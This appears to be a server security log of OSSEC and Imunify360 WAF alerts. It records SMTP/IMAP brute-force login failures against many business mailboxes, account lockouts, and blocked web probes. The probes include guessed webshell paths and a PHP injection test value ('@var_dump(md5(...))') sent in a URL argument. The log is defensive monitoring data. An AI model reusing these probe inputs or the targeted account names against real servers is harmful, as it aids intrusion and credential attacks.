domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:18:04 dovecot_login authenticator failed for H=(fnUCNR) [178.16.54.138]:61504: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.245.202
country_id: 1814991
description:
2026-02-01 00:18:14 dovecot_login authenticator failed for H=([218.21.245.202]) [218.21.245.202]:50939: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 00:18:29 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:52709: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 00:18:30 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:53766: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:18:10 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58791: 535 Incorrect authentication data (set_id=testing@symphony-led.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:18:18 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60667: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:18:18 dovecot_login authenticator failed for H=(OXCuS2) [158.94.208.215]:62712: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-01 00:18:49 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:41184: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.212.129.46
country_id: 1562822
description:
2026-02-01 00:19:10 dovecot_login authenticator failed for H=([125.212.129.46]) [125.212.129.46]:41914: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:19:18 dovecot_login authenticator failed for H=(VaRNZz1eIA) [178.16.54.138]:50336: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.51.113.203
country_id: 3374084
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/riana-dutamas/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 00:19:23 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:41728: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:19:18 dovecot_login authenticator failed for H=(CHJ0gdsr) [158.94.208.215]:58004: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:20:09 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:55000: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:20:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:20:15 dovecot_login authenticator failed for H=(IgCcL5OV0) [158.94.208.215]:64705: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.57.80.193
country_id: 6252001
description:
2026-02-01 00:20:14 dovecot_plain authenticator failed for H=c-73-57-80-193.hsd1.fl.comcast.net (dephodgers) [73.57.80.193]:47218: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:20:34 dovecot_login authenticator failed for H=(LUVoXLEi) [178.16.54.138]:61911: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:21:15 dovecot_login authenticator failed for H=(NMzgzVx) [158.94.208.215]:60710: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 00:21:22 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:44279: 535 Incorrect authentication data (set_id=hengchin.yeap@tujusetia.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:21:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:21:12 dovecot_login authenticator failed for H=(BjO692k) [178.16.54.138]:64810: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-02-01 00:21:56 dovecot_login authenticator failed for H=(103.51.26.198.sukaininfoway.com) [103.51.26.198]:35771: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/photos/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:22:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.95
country_id: 1814991
description:
2026-02-01 00:22:12 dovecot_login authenticator failed for H=([36.135.62.94]) [36.135.62.95]:34156: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:22:33 dovecot_login authenticator failed for H=(447WZUR5jY) [158.94.208.215]:62966: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:22:12 dovecot_login authenticator failed for H=(nz5MaYv4H) [158.94.208.215]:53898: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.47.190
country_id: 99237
description:
2026-02-01 00:22:20 dovecot_login authenticator failed for H=([185.255.47.190]) [185.255.47.190]:45374: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 00:22:58 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:40004: 535 Incorrect authentication data


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 122.187.230.213
country_id: 1269750
description:
Feb  1 00:22:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(122.187.230.213)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 00:22:43 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:1631: 535 Incorrect authentication data (set_id=hengchin.yeap@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-02-01 00:22:17 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:35667: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:22:28 dovecot_login authenticator failed for H=(DzxR5z5ez) [178.16.54.138]:50959: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:23:05 dovecot_login authenticator failed for H=(tgj6uletk) [178.16.54.138]:62408: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 00:23:49 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:49894: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:23:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:23:12 dovecot_login authenticator failed for H=(rBABUOBw9k) [158.94.208.215]:63674: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:23:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63271: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-02-01 00:23:26 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:58303: 535 Incorrect authentication data (set_id=hengchin.yeap@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 00:24:40 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:50050: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.97.62
country_id: 1269750
description:
2026-02-01 00:25:01 dovecot_login authenticator failed for H=(nsg-corporate-209.240.186.122.airtel.in) [27.123.97.62]:58862: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:24:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62715: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.188.252.208
country_id: 6252001
description:
2026-02-01 00:24:06 dovecot_plain authenticator failed for H=c-73-188-252-208.hsd1.pa.comcast.net (unpred) [73.188.252.208]:56218: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.60.147.65
country_id: 895949
description:
2026-02-01 00:24:10 dovecot_plain authenticator failed for H=(letaing) [41.60.147.65]:33116: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-02-01 00:24:25 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:54288: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-01 00:24:29 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:49558: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 00:24:56 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:45030: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:24:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:24:09 dovecot_login authenticator failed for H=(ULudijQ80) [158.94.208.215]:56797: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-02-01 00:24:11 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:35510: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:24:21 dovecot_login authenticator failed for H=(kpZONghTG) [178.16.54.138]:64450: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 00:24:10 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:33096: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.90.246
country_id: 690791
description:
2026-02-01 00:24:28 dovecot_plain authenticator failed for H=(hariony) [178.16.90.246]:56935: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-02-01 00:24:45 dovecot_login authenticator failed for H=([5.32.99.14]) [5.32.99.14]:38461: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.108
country_id: 1814991
description:
2026-02-01 00:24:46 dovecot_login authenticator failed for H=([111.61.97.108]) [111.61.97.108]:61968: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
2026-02-01 00:25:52 dovecot_login authenticator failed for H=([37.208.46.130]) [37.208.46.130]:37863: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:25:10 dovecot_login authenticator failed for H=(uGPWkALdI) [158.94.208.215]:54732: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.141
country_id: 1819730
description:
2026-02-01 00:25:13 dovecot_login authenticator failed for H=([223.197.145.141]) [223.197.145.141]:52421: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:25:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64834: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-02-01 00:25:21 dovecot_login authenticator failed for H=mail.sotus.co.th [171.100.156.38]:41433: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.42.190.241
country_id: 6252001
description:
2026-02-01 00:25:44 dovecot_login authenticator failed for H=host241.sub-63-42-190.myvzw.com [63.42.190.241]:43604: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:25:36 dovecot_login authenticator failed for H=(VrpGvv) [178.16.54.138]:64896: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.173.39.103
country_id: 2017370
description:
2026-02-01 00:26:01 dovecot_login authenticator failed for H=broadband-109-173-39-103.ip.moscow.rt.ru [109.173.39.103]:38580: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.71.41
country_id: 6252001
description:
2026-02-01 00:26:01 dovecot_login authenticator failed for H=([209.23.71.41]) [209.23.71.41]:39254: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 00:26:44 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:42650: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 00:26:10 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:52592: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:26:13 dovecot_login authenticator failed for H=(ZpAeDDydL) [178.16.54.138]:54614: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.116.131.13
country_id: 1814991
description:
2026-02-01 00:26:17 dovecot_login authenticator failed for H=([123.116.131.13]) [123.116.131.13]:60939: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 00:26:45 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:38450: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:26:06 dovecot_login authenticator failed for H=(MYMVU9yR3) [158.94.208.215]:51950: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 00:26:20 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:60506: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:26:26 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:49448: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.218.93
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=8 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:27:07 dovecot_login authenticator failed for H=(JJO0ClSDpH) [158.94.208.215]:63468: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:27:28 dovecot_login authenticator failed for H=(4lxvBY) [178.16.54.138]:50085: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:27:21 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:51445: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.80.35
country_id: 2077456
description:
2026-02-01 00:27:37 dovecot_login authenticator failed for H=([123.209.80.35]) [123.209.80.35]:59144: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.46.229
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=600737 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.47
country_id: 798544
description:
2026-02-01 00:27:19 dovecot_login authenticator failed for H=89-68-245-47.dynamic.play.pl [89.68.245.47]:59746: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:28:54 dovecot_login authenticator failed for H=(xN7tXoL) [178.16.54.22]:54623: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.219.221.53
country_id: 6251999
description:
2026-02-01 00:28:58 dovecot_login authenticator failed for H=([207.219.221.53]) [207.219.221.53]:50476: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:28:03 dovecot_login authenticator failed for H=(JpvDJzWkY) [158.94.208.215]:61213: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:28:06 dovecot_login authenticator failed for H=(75P4Q5) [178.16.54.138]:61727: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 00:28:18 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:53977: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.137.250.6
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/tomato/105/488545 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:29:43 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-02-01 00:29:53 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net [111.70.23.252]:52111: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:29:56 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59290: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-01 00:29:46 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:34616: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:29:21 dovecot_login authenticator failed for H=(T7ldIolWB) [158.94.208.215]:60071: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:29:04 dovecot_login authenticator failed for H=(jFcYgj) [158.94.208.215]:50906: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-02-01 00:29:08 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca [24.207.66.154]:40714: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:29:19 dovecot_login authenticator failed for H=(GTKoGw0SPI) [178.16.54.22]:59485: 535 Incorrect authentication data (set_id=mckd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:29:31 dovecot_login authenticator failed for H=(YFSd2X) [178.16.54.138]:51970: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/photos/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:30:30 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:51671: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 00:30:27 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:59870: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.157.49.1
country_id: 1643084
domain: feliogroup.com.my
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:7.71||T:APACHE||SC:/home2/feliogroupcom/public_html/product-details.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.185.110.32
country_id: 2623032
description:
2026-02-01 00:30:01 dovecot_login authenticator failed for H=x5ab96e20.customers.hiper-net.dk [90.185.110.32]:54571: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:30:07 dovecot_login authenticator failed for H=(YzV1YtgtU8) [178.16.54.138]:65027: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 00:30:11 dovecot_login authenticator failed for H=(JwWkpSDpB) [178.16.54.22]:57754: 535 Incorrect authentication data (set_id=mckd)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 13.75.54.243
country_id: 1819730
domain: eminent.st
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/eminent/public_html/wp-includes/SimplePie/Cache||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:30:09 dovecot_login authenticator failed for H=(w8jp7JGn) [158.94.208.215]:65395: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 103.157.49.1
country_id: 1643084
domain: feliogroup.com.my
description:
IM360 WAF: Special shell symbol in request||MV:@var_dump(md5(775265726)||MVN:ARGS:id||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:30:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51727: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
